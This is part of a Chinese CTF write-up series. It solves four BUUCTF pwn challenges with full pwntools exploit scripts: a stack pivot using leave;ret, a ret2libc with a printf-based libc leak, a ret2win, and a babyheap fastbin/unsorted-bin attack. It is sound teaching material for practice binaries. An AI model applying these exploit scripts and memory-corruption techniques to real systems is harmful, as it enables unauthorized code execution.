32题 BUUCTF-PWN-第一页writep( 四 )

ciscn_2019_es_2main

32题 BUUCTF-PWN-第一页writep

文章插图
vul
32题 BUUCTF-PWN-第一页writep

文章插图
hack
32题 BUUCTF-PWN-第一页writep

文章插图
咋一看是道很简单的栈溢出 , 不过,只能溢出8个字节,覆盖ebp和ret,而且 hack 不能拿到flag这是一道 栈转移 的问题,栈迁移核心思想就是利用leave和ret转移ebp和esp 。leave和ret常用于复原栈leave=mov esp,ebp pop ebpret=pop eip由于 mov esp,ebp 后,pop ebp , pop eip 后 , eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据,esp 的下一条指令再填充system函数的地址,后面再填充所需的数据由gdb可知 esp 距离 ebp 的偏移为 0x38payload 构成如下
32题 BUUCTF-PWN-第一页writep

文章插图
IDA中可以找到很多 leave 指令
32题 BUUCTF-PWN-第一页writep

文章插图
exp如下
from pwn import *from LibcSearcher import *#context.log_level = 'debug'#context(os='linux', arch='amd64')#p = process('./1')p = remote('node4.buuoj.cn', 28244)elf = ELF('1')leave = 0x080484B8system_addr = elf.symbols['system']p.send(b'a'*36 + b'stop')p.recvuntil(b'stop')ebp = u32(p.recv(4))payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')payload += p32(ebp-0x38) + p32(leave)p.send(payload)p.interactive()[HarekazeCTF2019]baby_rop264位下的 printf 函数泄露 libc
坑的是如果是泄露 printf@got 是会失败的from pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 27227)elf = ELF('pwn')rdi = 0x400733rsi_r15 = 0x400731ret = 0x4004d1#%sstr_s = 0x400770 payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])p.sendlineafter(b'What\'s your name? ',payload)p.recvline()read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))libc = ELF('buu/libc-2.23-x64.so')libcbase = read_addr - libc.sym['read']system = libcbase + libc.sym['system']binsh = libcbase + next(libc.search(b'/bin/sh\x00'))payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)p.sendlineafter(b'What\'s your name? ',payload)p.interactive()jarvisoj_tell_me_something需要 gdb 动态调试 ,或者注意下汇编代码
from pwn import *from LibcSearcher import *context.log_level='debug'#p = process('pwn')p = remote('node4.buuoj.cn', 28205)elf = ELF('pwn')rdi = 0x400668ret = 0x400469payload = b'a'*0x88 + p64(elf.sym['good_game'])p.sendlineafter(b'Input your message:\n', payload)p.recv()p.recv()babyheap_0ctf_2017菜单堆题,保护措施一般全开 。。。。
32题 BUUCTF-PWN-第一页writep

文章插图
其中,新增堆块的时候可以自定义大小
32题 BUUCTF-PWN-第一页writep

文章插图
为堆块写入内容的时候也可以自定义大小写入
32题 BUUCTF-PWN-第一页writep

文章插图
那么就可以造成堆溢出 , 其它的都很寻常攻击流程:1.利用 unsortbin 泄露 libcbase2.劫持 malloc_hook  , 修改为 one_gadget 首先我们要做的是利用 unsortedbin 只有一个 chunk 时,其 chunk 的 fd 指向 与 main_arena 固定偏移的地方,然后利用 fastbin attack 泄露,获得 libcbase先申请堆块,堆块0 是为了利用堆溢出修改其它堆块,堆块1 和 堆块2 用来 泄露堆块4 的 fdallocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80)free(1)free(2)free 后可以看到堆块2 的 fd 指向堆块1
32题 BUUCTF-PWN-第一页writep

文章插图
32题 BUUCTF-PWN-第一页writep

文章插图
接下来是修改堆块2 的 fd , 使其指向堆块4payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0,payload)
32题 BUUCTF-PWN-第一页writep

文章插图
32题 BUUCTF-PWN-第一页writep

文章插图
可以看到堆块4 已经加入了 fastbin
32题 BUUCTF-PWN-第一页writep

文章插图
但是 fastbin 不能容纳 0x91 的 chunk ,并且我们重新 allcate 时也要过内存检测,所以继续利用堆溢出修改堆块4的大小payload = p64(0)*3 + p64(0x21)fill(3,payload)可以看到正常的 free 状态的 堆块4,但是由于部分空间不在堆块的范围内,所以看不到 top chunk
32题 BUUCTF-PWN-第一页writep

推荐阅读